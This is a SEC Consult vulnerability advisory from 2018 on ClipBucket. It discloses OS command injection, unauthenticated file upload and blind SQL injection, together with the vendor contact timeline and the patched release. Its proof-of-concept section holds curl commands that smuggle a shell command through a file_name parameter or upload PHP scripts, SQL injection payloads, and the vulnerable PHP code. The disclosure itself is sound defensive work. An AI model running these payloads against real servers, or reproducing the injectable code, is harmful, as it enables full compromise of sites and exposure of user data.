SEC Consult Vulnerability Lab Security Advisory < 20180227-0 > ======================================================================= title: OS command injection, arbitrary file upload & SQL injection product: ClipBucket vulnerable version: <4.0.0 - Release 4902 fixed version: 4.0.0 - Release 4902 CVE number: - impact: critical homepage: http://clipbucket.com/ found: 2017-09-06 by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur) Wan Ikram (Office Kuala Lumpur) Fikri Fadzil (Office Kuala Lumpur) Jasveer Singh (Office Kuala Lumpur) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "ClipBucket is a free and open source software which helps us to create a complete video sharing website like YouTube, Dailymotion, Metacafe, Veoh, Hulu in few minutes of setup. It was first created in 2007 by Arslan Hassan and his team of developers. ClipBucket was developed as a YouTube clone but has been upgraded with advanced features and enhancements. It uses FFMPEG for video conversion and thumbs generation which is the most widely used application so, users can stream it straight away using the Video JS and HTML 5 Players." Source: https://clipbucket.com/about Business recommendation: ------------------------ By exploiting the vulnerabilities documented in this advisory, an attacker can fully compromise the web server which has ClipBucket installed. Potentially sensitive data might get exposed through this attack. Users are advised to immediately install the patched version provided by the vendor. Vulnerability overview/description: ----------------------------------- 1. Unauthenticated OS Command Injection Any OS commands can be injected by an unauthenticated attacker. This is a serious vulnerability as the chances for the system to be fully compromised is very high. This same vulnerability can also be exploited by authenticated attackers with normal user privileges. 2. Unauthenticated Arbitrary File Upload A malicious file can be uploaded into the webserver by an unauthenticated attacker. It is possible for an attacker to upload a script to issue operating system commands. This same vulnerability can also be exploited by an authenticated attacker with normal user privileges. 3. Unauthenticated Blind SQL Injection The identified SQL injection vulnerabilities enable an attacker to execute arbitrary SQL commands on the underlying MySQL server. Proof of concept: ----------------- 1. Unauthenticated OS Command Injection Without having to authenticate, an attacker can exploit this vulnerability by manipulating the "file_name" parameter during the file upload in the script /api/file_uploader.php: $ curl -F "Filedata=@pfile.jpg" -F "file_name=aa.php ||<<COMMAND HERE>>" http://$HOST/api/file_uploader.php Alternatively, this vulnerability can also be exploited by authenticated basic privileged users with the following payload by exploiting the same issue in /actions/file_downloader.php: $ curl --cookie "[--SNIP--]" --data "file=http://localhost/vid.mp4&file_name=abc || <<COMMAND HERE>>" "http://$HOST/actions/file_downloader.php" 2. Unauthenticated Arbitrary File Upload Below is the cURL request to upload arbitrary files to the webserver with no authentication required. $ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/beats_uploader.php" $ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/photo_uploader.php" Furthermore, this vulnerability is also available to authenticated users with basic privileges: $ curl --cookie "[--SNIP--]" -F "coverPhoto=@valid-image-with-appended-phpcode.php" "http://$HOST/edit_account.php?mode=avatar_bg" 3. Unauthenticated Blind SQL Injection The following parameters have been identified to be vulnerable against unauthenticated blind SQL injection. URL : http://$HOST/actions/vote_channel.php METHOD : POST PAYLOAD : channelId=channelId=1-BENCHMARK(100000000, rand()) The source code excerpt below shows the vulnerable code VULN. FILE : /actions/vote_channel.php VULN. CODE : [...] $vote = $_POST["vote"]; $userid = $_POST["channelId"]; //if($userquery->login_check('',true)){ if($vote == "yes"){ $query = "UPDATE " . tbl("users") . " SET voted = voted + 1, likes = likes + 1 WHERE userid = {$userid}"; }else{ //$query = "UPDATE " . tbl("users") . " SET likes = likes (- 1) WHERE userid = {$userid}"; $sel = "Select userid,username,likes From ".tbl("users")." WHERE userid = {$userid}"; $result = $db->Execute($sel); foreach ($result as $row ) $current_likes = $row['likes']; $decremented_like = $current_likes-1; $query = "Update ".tbl("users")." Set likes = $decremented_like Where userid = $userid"; } [...] URL : http://$HOST/ajax/commonAjax.php METHOD : POST PAYLOAD : mode=emailExists&email=1' or '1'='1 The source code excerpt below shows the vulnerable code VULN. FILE : /ajax/commonAjax.php VULN. CODE : [...] $email = $_POST['email']; $check = $db->select(tbl('users'),"email"," email='$email'"); if (!$check) { echo "NO"; } [...] URL : http://$HOST/ajax/commonAjax.php METHOD : POST PAYLOAD : mode=userExists&username=1' or '1'='1 The source code excerpt below shows the vulnerable code VULN. FILE : /ajax/commonAjax.php VULN. CODE : [...] $username = $_POST['username']; $check = $db->select(tbl('users'),"username"," username='$username'"); if (!$check) { echo "NO"; } [...] Vulnerable / tested versions: ----------------------------- Clipbucket version 2.8.3 and version 4.0.0 have been tested. These versions were the latest at the time the security vulnerabilities were discovered. Vendor contact timeline: ------------------------ 2017-10-17: Contacting vendor through email. 2017-10-18: Vendor asking for additional details. 2017-10-19: Replied to vendor. 2017-10-26: Request update from vendor, no response. 2017-11-09: Request update from vendor. 2017-11-09: Vendor response with security patches. 2017-11-10: Notified vendor the security patches don't fix the reported issues 2017-11-30: Request update from vendor. 2017-11-30: Vendor requesting for support via Skype 2017-12-07: Response to vendor. 2018-01-22: Checking version 4.0.0, vulnerabilities not fixed, asking vendor again 2018-01-22: Vendor provides latest patches, scheduled for future release 2018-01-26: Verified that the patches don't fully mitigate all issues. 2018-01-29: Request update from vendor, no response. 2018-02-06: Request update from vendor, no response. 2018-02-08: Informing vendor of public release date 2018-02-08: Vendor: Stable v4.0 including security fixes will be released in two weeks; postponing once again for two weeks 2018-02-23: Request update from vendor. 2018-02-26: Vendor publishes v4.0 2018-02-27: Public release of security advisory Solution: --------- The vendor provided the following patched version: https://github.com/arslancb/clipbucket/releases/download/4902/clipbucket-4902.zip Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult